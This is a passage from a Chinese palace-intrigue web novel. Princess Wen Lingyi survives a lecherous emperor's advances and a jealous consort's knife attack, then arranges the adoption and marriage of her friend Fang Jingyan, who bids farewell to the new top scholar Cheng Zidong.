“你倒是个好姐姐,可宫里从来都是吃人不吐骨头的地方,如今都没有身孕,尚且看着太平,一旦有任何人怀上了龙嗣,那就可能是催命符。”温令仪偏头看周敏:“周姑娘蕙质兰心,就算我不说,你也一定深谙此道。” 周敏眼神哀伤:“只可惜,无人能看破,富贵迷人眼啊。” “若我今日帮你,他日周婕妤怀了身孕,若有性命之忧,可怪我?”温令仪问。 周敏摇头:“怎么能怪到郡主头上,郡主说的如此明白,若我执意求药,那也是做好了准备,我也会跟小妹说明白的。” “只是,周婕妤的性子,就算说明白也无用,也会铤而走险。”温令仪停下脚步,从袖袋里取出来瓷瓶递到周敏的手里:“月事后,第十四天用此药,连续承宠三日后,万万不可再侍寝,若是成功,下个月自然有喜,若是不成功,往复如此,也必定得偿所愿。” 周敏接过去瓷瓶,手微微颤抖,抬眸看着温令仪,欲言又止。 良久才说:“郡主,虽说世人都觉得郡主遇不到良人,纵是荣耀满身也是苦命人,可在我看来,郡主才是最有福气的人。” 温令仪勾了勾唇角,笑了。 “周敏再次恭祝郡主福泽绵长,事事顺遂。”周敏说罢,退后两步。 温令仪转身坐进了轿子里,在宫门口,温令仪对曹忠说:“刚才的事,无需隐瞒。” “是。”曹忠低声:“郡主下次入宫,带上老夫人或夫人都好。” 温令仪点了点头。 回到郡主府,林嬷嬷拿过来书信。 温令仪这才知道裴祈安带着人往梅山去了,永元帝惦记着大梁宝藏,不过这次并没有让药王谷参与的意思,甚至连自己都隐瞒。 如此也好,自己也希望早点把大梁宝藏的事办妥。 天成子带着药王谷众人都住在镇国公府里,本想要回药王谷,但温令仪二嫁裴祈安,天成子怎么都要留下来,送徒儿出嫁。 温令仪叫来了碧桃,把消息送到师父那边,永元帝不想让药王谷掺和,难道药王谷就要眼看着上官子玉留下的东西被抢走?真真是笑话了! 京城里的热闹不多,但宫里的热闹可不少。 就在温令仪入宫后的第三天,永元帝把和合丸分发给了三个侍卫和三个宫女,当晚永元帝兴奋到喝了个酩酊大醉,就连活了一把年纪的曹忠都看傻眼了,当今这诡异的癖好,真是令人发指! 为了便于自己找乐子,永元帝直接把废弃的冷宫收拾出来,他居高临下,床上的侍卫和宫女,每每让他心情大好。 如此上瘾,日复一日,曹忠吓了个半死,实在没忍住让人给温令仪送了消息。 温令仪接到消息,笑得前仰后合,这才哪儿到哪儿啊?回头这些宫女有了身孕,宫里的丑闻人尽皆知,到那个时候,裴祈安也该回来了。 五月临近,京城热闹起来,到处都荷包、五彩线,还有道士出现,画符为百姓镇煞辟邪,温令仪坐在马车里,一路上没少看到道士,心里狐疑。 回道郡主府,找来了小囡囡。 “娘亲,怎么了?”小囡囡最近很忙,天道盟最近可忙了,小囡囡就必须天天跑过去。 温令仪捏了捏小囡囡的脸蛋:“最近总是看不到你人影儿,忙什么呢?” “为我义父忙呗。”小囡囡撇嘴儿:“大邺建国之初,商贾货物的通道要打开,大夏和西域三十六国通商比较少,天道盟有的忙了。” “哦。”温令仪给小囡囡倒了果茶:“最近京中多了许多道士。” 小囡囡立刻来了精神:“娘亲难道不知?昏君到处寻找方士,要求长生了。” 温令仪还真没想到。 “我爹忙得很,他要在京城早就跟你说了,天道盟也在为我爹办事,从暗河进去了船队,这条路还是娘亲当初跟爹说的呢。”小囡囡笑眯眯的说:“爹说,这件事办成,娘亲要好好奖赏才行。” 温令仪抬起手压了压额角:“我怎么不知道,你们做事都要背着我了呢?” “还不是要让娘亲好好待嫁。”小囡囡说:“估摸着,还得一个月,我爹才能回来,反正你放心就好,绝对处处妥帖。” 温令仪蹙眉:“若是大梁宝藏带不回来,如何处处妥帖?” “我那了不起的爹,自然有法子。”小囡囡一脸骄傲的说。 温令仪知道自己着急也无用,再者若论本事,裴祈安是非常让人安心的,再说师父和师兄们也在,反倒是自己又要入宫,比较麻烦。 还不等永元帝让温令仪入宫,曹忠的消息送来了,周婕妤有孕! 温令仪看着字条上娟秀的字迹,直到必定是周敏送来的,那日曹忠送自己出宫,周敏竟能笃定曹忠是自己的人,有点儿意思。 五月初七。 宫里来了旨意,温令仪入宫。 温令仪正在想着带谁去宫里,让祖母和母亲去?显然是不愿意的,偏巧了,武安伯夫人求见。 这不就是瞌睡来了送枕头? 周婷怀了龙嗣,带上武安伯夫人也不会触怒帝心,温令仪自不会拒绝,带着武安伯夫人入宫。 曹忠迎了温令仪和武安伯夫人往含翠宫来,路上几次看温令仪都欲言又止。 到了含翠宫门口,温令仪停了脚步:“周夫人先进去叙叙旧,我一盏茶后再进去。” 武安伯夫人感激涕零,毕竟这个时候母女能说体己话可不容易,温令仪此举简直是太懂事了,道谢后离开。 含翠宫门外,温令仪低声:“曹公公,那些有了身孕的宫女千万要保住了。” “郡主啊,你可不知道,如今,唉!”曹公公摇头:“晚了啊,都处理掉三个了。” 温令仪心就一沉,这昏君,真是作死! 第295章 又让她自己去了御书房? 温令仪抬头看了看天,都说天道轮回,郎家从得了天下到如今,未见为黎民百姓做好事,反倒是为了维持这皇权,无所不用其极,如今更是荒唐,为了绵延子嗣也能理解,可寻欢作乐就要残害人命,连恻隐之心半点也无,丢了天下都是报应。 “郡主,您今儿可要早早出宫去。”曹忠是很害怕的,摄政王不在京城,皇上都难以用常理度之的做派,加之所表现出来对温令仪的兴趣,若是出事,他不怕这条命丢了,怕对不起摄政王的知遇之恩。 温令仪轻轻点头。 除了应对之法,更要随机应变,已经做了最坏的打算,真要是再敢冒犯自己,自己就直接弄死昏君! 含翠宫里,周婷眼泪汪汪的看着武安伯夫人:“母亲,女儿不舒坦的厉害,总是呕吐不止,怀了个身孕,你瞅瞅我这脸色多难看,皇上会不喜的。” 武安伯夫人热络的拉着周婷的手:“娘娘可得仔细了点儿,孕育子嗣都要有个害喜的阶段,切不可粗心大意,宫里不必寻常人家后院,人心叵测不得不防,幸好娘娘身边有家人照应,若皇上来这边,娘娘就让敏儿抵挡着,若你们姐妹二人都能怀上龙嗣,那可是天大的福气。” 周婷愣了一下,看着武安伯夫人:“你想让长姐与我争宠吗?” “娘娘可不能如此说话,宫里头那么多年轻的女子,皇上独宠是祸不是福,雨露均沾才能确保万无一失,姐妹同心才能固宠,莫说这是天家了,就是寻常大户人家,也会有个贴身丫环在主母有了身孕后,抬举起来为主母固宠的。”武安伯夫人说。 丝毫没顾忌在一旁低垂着眉眼的周敏,哪怕周敏有一肚子的话想要说,可在母亲眼里,得了宠还怀上龙嗣的妹妹才是心尖尖上的人。 心底无声叹息,想要告诉母亲,这一胎来之不易,要在宫外替小妹多谢谢凤阳郡主的话,是不能说了。 周婷扫了眼周敏,虽说二人是亲姐妹,可皇上跟前争宠怎么行?如今是争宠,以后就会争权,自己要盛宠六宫!要母仪天下! 只要这一胎得了皇子,那就是太子,自己会成为皇后的,这个时候长姐若是争,自己生下的不是皇子而是公主,长姐反而生下来的是皇子呢? 千百种心思让她一阵心烦,脸色挂不住,也不愿意装一装样子,直接不吭声了。 武安伯夫人哪里看不出女儿的心思,为了安抚周婷,只能转过身对周敏说:“敏儿,你跟娘娘一起入宫,如今可侍寝了?” “母亲,女儿并未侍寝。”周敏回道。 武安伯夫人蹙眉:“按理说近水楼台先得月,怎么都没能侍寝过呢?” “母亲!你怎么能如此挑拨长姐和我争宠!”周婷冷了脸:“当着我的面就说这样的话,是要气死我吗?” 周敏赶紧说:“母亲,妹妹深得皇上宠爱,作为姐姐,我默默帮衬着妹妹才是该做的,宫里头各种美人儿多得很,皇上瞧不上我也是寻常事。” 这话周婷愿意听,毕竟从小到大,谁不夸自己漂亮,跟自己在一起,别人只夸姐姐聪慧,毕竟姐姐容貌确实不及自己艳丽夺目。 武安伯夫人微不可见的摇了摇头,虽说都是自己的女儿,可小女儿这做派,只怕会召来祸事,思及此只能说:“敏儿不争的性子从小如此,但切记这是宫里,你要护着妹妹才是。” “母亲放心,我会的。”周敏往外看了眼:“母亲,凤阳郡主怎么还没进来?” 武安伯夫人这才想起来温令仪,起身:“瞅瞅我只顾着和你们姐妹俩说话,倒是忘记了凤阳郡主还在门外,若不是她给我这个机会啊,咱们都不能说说体己话,快随我去接郡主。” 周婷没动弹。 武安伯夫人想要劝劝,周敏搀扶着母亲的手臂,微微摇头,示意母亲不必劝。 母女二人出门,在门口迎温令仪入内。 温令仪一进门就察觉到了周婷的变化,相比于前两次见面,如今更是桀骜不驯的很,她也不多言,过来给周婷诊脉。 果不其然是喜脉,温令仪对宫女说道:“曹公公还在外面候着,去告诉曹公公,让他给皇上送信儿,就说周婕妤有孕了。” 宫女看了周婷一眼,周婷点头。 等宫女离开,温令仪起身到旁边坐下。 周婷整理好自己,坐在椅子上打量着温令仪,温令仪今日竟然穿着一身鸦青配水蓝的襦裙,老气得厉害,就连自己的母亲都不会如此穿呢。 “郡主婚期临近,宫里走动的时候仔细了点儿,别因为摄政王不在京中,你再闹腾出来笑话,回头婚事都难办。”周婷说。 这话让武安伯夫人和周敏都齐齐的变了脸色。 温令仪勾起唇角:“周婕妤无需担忧。” 周婷刚要说话,周敏站起来了,走到温令仪面前深深鞠躬行礼:“郡主大恩,我等没齿难忘,若非您给得丹药有奇效,也不会如此快就有了龙嗣。” “使不得。”温令仪伸出双手扶着周敏:“怀上龙嗣是大喜,但接下来的事可要看运气了,我能赠药,也就只有这点子本事。” 周敏轻轻点头:“郡主提点的是。” 武安伯夫人听到这话还有什么不明白的,怪不得女儿有了身孕,竟是这位出手相助,确实是恩人啊。 刚要起身,就听周婷说:“长姐,你倒是真会谢,也不看看她做的事,宫里头哪个侍寝的秀女没得到和合丹呢?本宫命好怀上了龙嗣,跟她有什么关系?她不过是听皇上的吩咐,做事罢了。” “娘娘慎言。”武安伯夫人沉不住气了,怎么之前没发现这个女儿如此没脑子呢! 还是说得了皇上的宠爱,找不到南北东西了? 温令仪并不在意,起身:“我不便久留,还得去给各位侍寝的小主子们请脉,就不打扰了。” “郡主,臣妇要等着和您一起离开。”武安伯夫人说。 温令仪微微点头,出门就见曹忠还在门口:“公公,这是?” “皇上让郡主去御书房那边为侍寝的女子诊脉。”曹忠意味深长看着温令仪。 温令仪垂眸:“如此,倒也省心了,带路吧。” 御书房门外,温令仪坐在椅子上,这些个侍寝过的女子挨个诊脉。 “娘娘,这是滑脉,有喜了。”温令仪诊脉到最后一个的时候,抬眸看着面前的女子,说。 曹忠喜笑颜开往御书房里去,见皇上竟立在窗口处,走到近前往外看了眼,这角度刚好能看到温令仪的侧脸,曹忠的心都提到了嗓子眼儿。 “皇上,这位小主有喜了。”曹忠说。 永元帝收回目光,回身坐在椅子上:“让温令仪进来。” “皇上,那位小主呢?”曹忠硬着头皮问。 永元帝摆了摆手:“送去紫兰宫里养着。” 曹忠领命,温令仪进御书房,曹忠送有了身孕的秀女去紫兰宫,还要安排伺候的人手和一应所需,这让曹忠心急如焚,灵机一动叫来了小太监,如此这般的交代了一番,小太监走后,曹忠看向御书房的方向,手心里都是汗,希望能管用吧。 含翠宫里,周婷一拍桌子就站起来了:“什么?有秀女怀了身孕,皇上都没看一眼,反而又让温令仪独自在御书房里了?” 第296章 你竟敢勾引皇上,我杀了你! 武安伯夫人赶紧站起来,脸色一沉:“周婷!你这是在做什么?后宫之中最怕善妒,你还怀着龙嗣,不明哲保身?!” “母亲息怒。”周敏知道这是把母亲气昏头了,不然也不会如此说话。 周婷脸色铁青:“母亲,本宫如今是婕妤,很快就要升位份了,虽然你是本宫的生母,可是尊卑有别,难道母亲忘了该如何跟本宫说话?” 武安伯夫人气得险些一个倒仰,抬起手指着周婷,半天竟说不出一句话来。 周敏扶着母亲:“母亲,不可。” 武安伯夫人跌坐在椅子上,眼圈一红:“娘娘啊,你这是糊涂啊,臣妇并非要用生养之恩压着娘娘,是怕娘娘吃亏啊。” “吃什么亏?本宫还真就不明白了,温令仪是什么东西?一个要嫁给天阉之人的下堂妇,用那点子上不得台面的医术跟皇上勾勾搭搭,难道不是她丢人现眼?”周婷磨牙:“你也是官宦人家出身的小姐,礼数学得最好,难道本宫还错了不成?” 武安伯夫人摇头:“只是这样的事,哪里需要娘娘过问,就算闹腾出来丑事也连累不到娘娘啊。” 周敏却没吭声,她虽然没见过温令仪几次,可温令仪绝对不是那种人,况且温家真有心让温令仪入宫,别说入宫了,就是后位都唾手可得,温家不愿意,温令仪更不愿意,所以宁可嫁给摄政王,被世人指指点点,也不入宫,可是眼前的母亲和小妹,虽然在争吵,但根本没关注在点子上啊。 “连累?本宫如今怀了龙嗣,若是一举得男便是太子!我还怕了温令仪不成?就算我不饶她,皇上跟前就算我分量不足,还有我的皇儿呢!”周婷说着,迈步就往外走。 周敏拉住了武安伯夫人:“母亲,出宫去吧。” 武安伯夫人哪里放心的下,就要去追周婷。 周敏只能用了力气拉住武安伯夫人:“您万万不可跟小妹一起胡闹,若真是有不该看的,小妹拦不住,母亲若是也看到了,我们武安伯府还有活路吗?” “可是不让人省心啊。”武安伯夫人没法子,只能悄悄离宫,离宫也不敢走,就在宫门外等着,生怕有什么消息送晚了。 周敏没动,就坐在含翠宫里。 她知道周婷要惹祸了,不过有孕确实是最好的仰仗,自己则不然,会丢了性命。 御书房里。 温令仪坐在椅子上,永元帝坐在对面。 “温令仪,朕不忍看摄政王没有子嗣,你明白吗?”永元帝开口。 温令仪抬眸:“皇上,摄政王最近没有消息,不知道人在何处,就算是臣女想要给他治病也得见到人才行。” 永元帝蹙眉:“就算是你倾尽全力治了,难道就一定会有子嗣吗?” “皇上,不能说一定,因摄政王不止一种毒在身上。”温令仪回答的中肯,让永元帝挑不出毛病。 永元帝笑了:“所以,朕是摄政王的表兄,说起来摄政王也有天家血脉,若是你怀了朕的血脉,寄养在他的名下,未尝不是一桩美事啊。” “皇上,如此无耻之言,是想要试探臣女吗?皇上大可放心,臣女就算跟摄政王在一起过对食的日子,也甘之如饴,绝不会背叛他。”温令仪脸色阴沉,目光冰冷的看着永元帝。 永元帝一点儿都不生气,反而觉得温令仪这般做派才是世家女子该有的气节,越是如此,才越让人心动,只要得手一次,不怕她不日日夜夜念着自己的好,到时候只怕自己就会贴上来了。 “说起来,朕本打算让温令容入宫的。”永元帝端起茶盏抿了口,放下才继续说:“如今反倒觉得朕看岔了,温令容一无所长,哪里比得上令仪的本事呢?” 温令仪淡漠的打量着永元帝:“皇上,你是要逼迫臣女吗?” “不不不。”永元帝摆手:“朕哪里舍得?这不是逼迫,是在和令仪商量,你且放宽心,不会耽搁你们大婚,你自会以郡主身份风光大嫁,裴祈安也必定会风风光光把你娶过门,只不过朕一片良苦用心,想让你有一个亲生的孩子罢了,再者,你尽可放心,只要有了我们的孩子,若这孩子教得好,皇位也未必不会给他啊。” 温令仪冷笑:“皇上,你别忘了,是谁让皇上得偿所愿,后宫有了龙嗣,若要再这样说下去,跟天家的颜面比起来,温家的颜面可不值几个钱,臣女闹腾起来,皇上如何自处呢?” 永元帝脸色一沉,起身走过来:“温令仪,朕想要成全你,你反倒威胁朕吗?” “谈不上威胁,只是利弊摆在面前,皇上三思。”温令仪起身,怡然不惧的看着永元帝:“不管别人怎么看裴祈安,我是裴祈安马上刚要过门的妻子,皇上为了一个二嫁女子闹到颜面尽失,君臣失和,值得?” 说着话,温令仪手里已经多了银针,她要弑君,弄死这个不要脸的昏君!皇位谁做不是做?裴祈安早就准备好了,坐在皇位上可比这个混账东西要合适多了! 永元帝冷哼:“给脸不要,朕今天就要了你,你能怎么着?!” 说着,伸出手就要抓温令仪。 温令仪听到门外脚步声,心里一喜,快步往门口去。 “想要逃?做梦!”永元帝过来抓温令仪。 这时候门开了,周婷提着刀冲进来:“贱蹄子!你竟敢勾引皇上,我杀了你!” 温令仪冲过去,微微侧身让刀擦着自己的侧腰划过,裂锦声后,血流了出来,温令仪抓住周婷的手臂:“你!你要杀我!” 永元帝瞬间清醒了,瞪大眼睛看着染血的刀和倒下去的温令仪,怒道:“侍卫!侍卫!” 曹忠紧赶慢赶可算回来了,听到这声音第一个冲进来,看到温令仪倒在地上,手指染血,吓得魂不附体,伸出手扶着温令仪:“郡主殿下,郡主殿下啊。” “扶我起来。”温令仪说。 曹忠扶着温令仪起身,温令仪看着永元帝:“皇上,臣女告退。” 不等永元帝说话,曹忠扶着温令仪从御书房走出来,身后是周婷传来的惨叫声…… “郡主啊,老奴该死啊,老奴该死啊,这让老奴有什么脸面见王爷啊。”曹忠真的哭了,温令仪腰侧血越来越多。 温令仪低声:“一会儿送我出宫,立刻回去御书房。” 曹忠连连点头,温令仪低声吩咐过,到了宫门口直接闭上眼睛‘昏死’过去了。 “快,送凤阳郡主回府。”曹忠抱着温令仪,送到马车里。 林嬷嬷和碧桃吓坏了,接过来温令仪放进马车里,林嬷嬷哭出声来:“这是咋了?这可怎么办啊?” 躲在宫门外听消息的武安侯夫人颤抖的不成样子,嘴里喃喃:“完了,完了,这是完了啊。” 第297章 义结金兰 温令仪被送回郡主府。 这可惊到了温家上下,温城都急匆匆的赶过来了。 温老夫人和温夫人在屋子里守着温令仪,林嬷嬷和碧桃帮着清理伤口,海棠去熬药。 温令仪躺在床上,双目紧闭。 伤口不深,对温令仪来说是最好的借口,周婷那样的性子怀了身孕,接下来的后宫必定会乱成一锅粥,永元帝更会在药物的作用下,做出来更多丧德败行的事。 如此牵制住永元帝,裴祈安在梅山的事办完后,回京就能完婚,如果一切顺利会在今年颗粒归仓后,天下大定。 处理好伤口,林嬷嬷带着碧桃退下,屋子里只有温老夫人和温夫人,两个人守在床边抹泪。 “祖母,母亲。”温令仪睁开眼睛:“伤口不碍事,但我要小题大作,别让祖父担忧,可也要摆明了态度。” 温老夫人握着温令仪的手:“阿宁啊,这怎么还伤了?是谁敢伤你。” 温令仪也没隐瞒,宫里的事情都说了一遍后,叮嘱道:“祖母,母亲,我们无需和武安伯府多废话一句,武安伯府宫里不止有周婷一女,还有一个不容小觑的周敏。” 温夫人恨不得拆了武安伯府的心思是压了又压,轻声:“打今儿起,母亲就留在这边。” “如此最好,府里那边不用担心,刚好你祖父这几日念叨着致仕。”温老夫人说。 温令仪当然愿意趁这个机会让祖父退下来,如果真悄无声息,那镇国公府岂不成了笑话? 翌日早朝,温城决然致仕。 群臣也有耳闻,凤阳郡主在宫里受了伤,但这件事没有摆在明面上,都要假装聋子和瞎子。 永元帝准了温城致仕,万万没想到罗无咎也决然致仕。 本来还在取舍的永元帝果断的舍弃了罗无咎,毕竟罗无咎如老狐狸一般难缠,朝中关系又盘根错节,哪里会像罗政那般好拿捏。 “找死!”罗政听说温令仪在宫里受伤,怒到拍桌子,吩咐人去彻查。 查出来的结果让罗政破口大骂,后宫那些愚蠢的女子,窝里斗还不过瘾?竟还敢奔着温令仪来,简直少脑子! 武安伯府的后院当晚就着火了,半个伯府化为灰烬,可纵然如此,武安伯府一声不吭,报官都没有。 罗无咎也不拦着,罗岳和方静言在回京的路上,各地百姓春耕完毕,二人早就写信回来给罗无咎,要回来商量完婚。 同时,朝廷恩科眼看到了殿试的阶段,罗无咎注意到了罗岳提到的程子栋,确实是一块好材料,不过罗无咎并不想再收任何门生,如今的朝廷都不如街边卖艺的草台班子,多费一分力气都是蠢人,他年纪大了,想要多活几日,看看以后的世道如何呢。 温令仪受伤的事没有闹腾起来,除了温城致仕,余下的事没人会往温令仪身上联想,但温令仪不可能再入宫,也不会再给永元帝和后宫嫔妃诊脉开药了。 大张旗鼓的养伤,温令仪接到了曹忠送来的消息。 周婷当天就被打入冷宫了,三天不到竟小产险些丧命,周敏如今成了周婕妤,正受宠的时候,也幸好周敏受宠,抱住了周婷的一条命。 温令仪把书信扔到火盆里化成灰,淡淡的勾起唇角,不管到底发生了多少弯弯绕绕的事,周敏如今要争,那就是最好的。 温令仪以为自己至少在裴祈安回来之前,日子都会过的很消停,没想到在曹忠送出消息的第二天,周敏就来到了郡主府。 躺在床上的温令仪请周敏坐下。 周敏坐在椅子上,开口说道:“郡主受苦了,周婷因此事已遭反噬,如今在冷宫里疯疯癫癫的,也是她的报应。” “周婕妤,我是无妄之灾。”温令仪说。 言外之意,就算周婷疯了跟自己也没什么关系,那都是自找的。 周敏轻轻地垂下头:“是啊,我没护好她,看她疯癫模样,心疼也无能为力。” 温令仪看着周敏,心疼是心疼的,不过总觉得周敏这话里不止有心疼呢? 就在两个人说话的工夫,一个宫女慌慌张张的进来,在周敏耳边说:“娘娘,冷宫那位投缳自尽了。” 温令仪看周敏没多少表情的样子,都被吓了一跳,一种打心底泛凉的感觉,让她觉得毛骨悚然,一个大胆的猜测,都觉得说不出口。 周敏让宫女退下,抬眸看着温令仪:“或许,这还最好的结果,毕竟她啊,打小就心高气傲。” “周婕妤,回去看看吧。”温令仪说。 周敏起身:“郡主。” 温令仪说:“那种能让人很快受孕的药物,若是男子身体康健,自会助益良多,可……” “给一个禽兽不如的人生养孩儿,那怎么对得起孩儿呢?”周敏深深地看了眼温令仪:“你我之间,是善缘。” 留下这么一句话,周敏离开了。 温令仪良久才轻叹一声,周敏是心里有着滔天恨意的,但这个人不糊涂,直到仇人是谁,只不过要报仇,也是不容易,自损八百杀敌一千,她是豁出去这条命了吗? 宫里的热闹,若不是曹忠送出来消息,外面的人鲜少能知道。 温令仪更是避讳着,从来不打听。 永元帝倒是让曹忠送来了一些补品和名贵草药,但再无其他,至于忙什么,就算不问,温令仪也知道,如今的后宫里,到处都是脏污。 不过,让温令仪十分意外的事倒有一件,那些个供永元帝取乐的侍卫和宫女,一旦宫女有孕都会被赐婚出宫。 “如今这位周婕妤可比上一个聪明多了,位份啊,必定会一路高升,若是能怀上龙嗣,后位也不是不能坐的。”曹忠临别之际说了这么一句。 温令仪只是笑了笑,周敏要的可不是后位,且看着吧。 还不等宫里再传出消息来,方静言登门了。 一别两年有余,温令仪再次见到方静言的时候,险些认不出。 “郡主,民女幸不辱命。”方静言笑起来眼里有光,虽然规矩学得七七八八,但那笑容真是太透亮了,看着她的笑容,心情都轻盈了许多。 温令仪拉着方静言的手,让他坐在自己身边:“这两年奔波之苦,方姑娘可厉害,都承下来了。” “郡主,对民女来说,这是很快乐的事。”方静言说。 温令仪笑着挑眉:“是不是那句子非鱼焉知鱼之乐?” “差不多,这次回京是想要住一段日子的。”方静言微微有些羞赫:“罗大人担忧的事太多,不回来京城总怕山高路远消息传得晚。” 温令仪拍了拍方静言的手:“跟罗大人情投意合?” “嗯。”方静言低着头:“方大人是少见的,极有担当的男子,更是以天下事为己任的大丈夫。” “义结金兰,如何?”温令仪笑着问。 方静言错愕抬眸。 温令仪说:“让我的父母收静言为义女,如此更门当户对,可好?” 第298章 点拨程子栋 方静言一时间不知道怎么说,她虽然是穿越而来的人,可在这边活了不少年头,哪里不知道温令仪如此抬举自己的身份,是为了让自己和罗岳更门当户对呢? 温令仪柔声:“罗家不止罗岳,罗老大人和罗小将军都是顶顶好得人,不过罗家少一个能操持后宅的掌家夫人,不管是现在还是将来,掌家夫人都是一个家的根本,镇国公府的名头还是很管用的。” “这、行吗?”方静言说。 温令仪点头:“自然,并且大婚所需,陪嫁之物,都会为静言操持,你只管风光大嫁。” 不过,温令仪可没有风风火火就办,而是让林嬷嬷回去温家禀了祖父祖母,请来了父亲和母亲商量过后,父亲和母亲亲自登门罗家,询问罗家此举可妥当。 罗无咎激动的不行,拉着温长安的手:“贤侄啊,这也算是老罗家终于有人能娶温家女儿了。” 随后,温长安和夫人按照规矩,认下了方静言为女儿,并且开了祠堂,方静言的姓换成了温,温静言成了温家小女儿。 罗家趁热打铁,托媒上门,三媒六聘齐全,择期的时候,温令仪提了句:“罗大人年纪不小了,小妹也早该婚配,择日不如撞日,就跟我同一日出嫁,温家也算双喜临门。” 这事儿就这么定下了,温夫人带着府里上下可忙起来了,小女儿要完婚,陪嫁可不能少了。 温令容、温静言姐妹俩都到郡主府陪着温令仪‘养伤’,姐妹三个人有说不完的话,日子过得快乐起来。 “长姐,我们完婚后,你真要去漠北吗?”温静言太崇拜温令容这样的女子了,女子当将军,飒爽的很。 温令容点头:“这些日子都在习武学习兵法,原以为自己的年纪早就过了习武的好时候,可学起来却一点儿不难,也算是天赐的本事。” 温令仪笑而不语,长姐的本事何止这些,若是到了大营,那才是长姐的天地,不过漠北啊,离萧玄策太近了,自己有些担忧呢。 要说高兴,小囡囡简直快成了花蝴蝶,跑去罗家是座上宾,回到郡主府是小主子,到了天道盟是妥妥的少主,她简直比永元帝还要忙。 不过,架不住小囡囡出手阔绰,娘亲这边不能动手,可新晋的小姨可以啊,陪嫁抬进镇国公府,简直把罗岳都要急哭了,这孩子是不知道吗?罗家为官清廉,就算是父亲从商,家境也没有多殷实啊,如此陪嫁,抬贵重了啊。 小囡囡却不在乎,十分豪气的对罗岳说:“娶了我小姨,你就不能是我舅舅了,远近亲疏我可分得清,以后当我姨父,只要好好的待承我小姨,你的家我给你养了。” 罗岳无可奈何,小囡囡还是个孩子,这话说的不管是不是狂妄,可都是真心实意的情分。 罗政本想回去雁门关,奈何兄长大婚,他硬着头皮也要留下,不是兄长大婚不高兴,而是自己心尖尖上的女人也在同一天出嫁。 眼看着,进了六月。 裴祈安写来了书信,大婚之前一定归来。 温令仪看着书信忍不住勾起唇角,跟裴祈安比起来,自己可算不得着急。 宫里,妃嫔一个接一个有了身孕。 温令仪得到消息的时候,半天才从震惊中平复,周敏手段如此狠辣,让她都佩服,回想起当初周敏为周婷求药的时候,自己幸好打心底愿意结一段善缘。 至于永元帝,早朝都不上了,沉迷酒色的事越传越多,京城里的人知道的多了,都在传言昏君亡国,也有人期待着有子嗣是中兴之君,可到底真相如何,谁又知道呢? 新科状元程子栋登门拜访。 温令仪大大方方的请程子栋入内。 落座后,程子栋说:“郡主,当年承蒙大恩,救静言离开,成全了她现在的好姻缘,在下如今也算熬出头了,登门谢恩,唯有谢恩。” 温令仪打量着程子栋:“当年的事,静言不会忘记状元郎的好,当然了,静言和罗大人之间情投意合,确实是好姻缘。” 程子栋垂下头,是啊,好姻缘。 自己以为能成为状元,入仕为官,就能让方静言过上好日子,可走出了那方寸之地才发现,外面的世界太大,方静言得了自由后,让自己都高攀不起,更不用说状元跟罗岳比起来,又算得了什么呢? 如今朝堂如日薄西山,他对未来一片茫然,意气风发到不知道该往哪里走,其中苦楚向谁说呢? “状元郎接下来有何打算?”温令仪问。 也不怪温令仪问,打从殿试之后,今年科举一榜三甲到现在都没有个去处,永元帝哪里还有心思管朝中之事? 程子栋摇头:“还不知。” “不若去外任,多看看民间疾苦,保不齐以后仕途会青云直上,相信状元郎有治世之能,只需多加历练,必定前途可期。”温令仪说。 程子栋还是头一遭听到这般安抚人心的话,抬眸:“郡主觉得这朝廷还能好起来?” “朝廷是朝廷,百姓是百姓。”温令仪说。 程子栋顿时心领神会,起身深深鞠躬致谢:“多谢郡主指点迷津,在下这就去谋去处。” 温令仪让林嬷嬷送程子栋离开,临别之际赠了锦匣。 等程子栋回到暂时落脚的租屋中,打开锦匣时,感激涕零,里面放着银票,三千两银票足够他到任何地方都不慌,还有一份书信,温令仪亲笔所写,只是薄薄一张纸,寥寥十数言,却让程子栋如获新生一般。 很快,程子栋外任梁州府尹,走马上任时,十里亭跪下冲温令仪的郡主方向磕头,再次坐上马车往梁州去。 “程大人留步。” 程子栋撩起帘子,见一个管家模样的人快步跑过来,到了马车跟前鞠躬行礼:“我们家公子请程大人前面一叙。” “你家公子是何人?”程子栋问。 管家回道:“是罗家大公子。” 程子栋点头:“有劳带路。” 自己没有勇气去见方静言,但见见罗岳是心结,他知道自己比不过罗岳,方静言也心悦此人,可他不放心,他想要告诉罗岳,若是哪天他厌弃了,记得别伤害方静言,自己无论何时都会把方静言护得好好的。 路边停着马车。 程子栋下了自己的马车,走到路边马车前,拱手一礼:“下官,见过罗大人。” 马车帘子挑起:“程子栋,你成功了。” 程子栋猛然抬头,眼前哪里有罗岳?分明是自己日思夜想的方静言,一时间张了张嘴,竟说不出半个字来。 第299章 从始至终所求都是活着 “罗岳知道你要去梁州赴任,让我来为你践行。”温静言下了马车了,回身从马车里取下来个包袱:“这是我为你准备的换洗衣物,一路上舟车劳顿,要有个书童照应着才行,这是我在牙行给你置办的两个随从,身契在里面。” 两个十岁左右的男丁从马车上下来,跪在地上认主。 程子栋静静地看着温静言叮嘱二人如何照顾自己,缓缓地吸了口气,他以为罗岳也在马车里,可除了车夫外,再无旁人了。 “凤阳郡主给了我盘缠,足够的盘缠。”程子栋说。 温静言让两个书童去程子栋的马车旁边等候,这才走到程子栋身边,与他并肩而立看着蜿蜒的路,这路像是没有尽头似的。 “当年我们在程家时候结下了情谊,如今短暂相聚后,又要各奔前程,说起来我是个好命人。”温静言说。 程子栋喉头发紧,他多想告诉她啊,自己一路历尽艰辛到了京城,得了状元,不止是为了自己的前程,更是因为心中有她。 可说出来有什么用?徒增烦恼吗?再者如今的方静言姓温了,她未来的夫婿身份显赫,她也是个极有本事的人,可以不用依附于任何人就能活得很好,自己的眼界到底是低了。 真心爱慕,惟愿她余生顺遂,千言万语不说也罢。 “梁州虽现在不起眼儿,但以后必定会成为富庶之地,罗大人连夜写了一封信给你,你路上可以慢慢看,到那边先体察民情,若有需要可去众合商会,那边会提供帮助,比如粮种。”温静言偏头看程子栋。 四目相对,程子栋像是被电了似的别开目光:“静言,不能观礼,心中憾事,可若留下看你出嫁,更是意难平,从今以后我在他乡为官,而你在罗家为掌家妇,纵有对面相逢时,也咫尺天涯了。” “终究,你会遇到心仪的女子,也会儿女成群,从始至终我都把你当成弟弟,正因如此才会牵挂,如今时局虽动荡,可梁州远离所有纷纷扰扰,你必定能让一方百姓得到安宁,若有一天回京,姐姐会为你接风洗尘。”温静言说。 程子栋心里苦笑,是啊,一直都心存妄想的是自己,正因为静言把自己当成亲人,所以才不争,不能争,倒退两步拱手一礼:“子栋就此别过,阿姐在京若有难处,子栋便是阿姐的娘家人。” 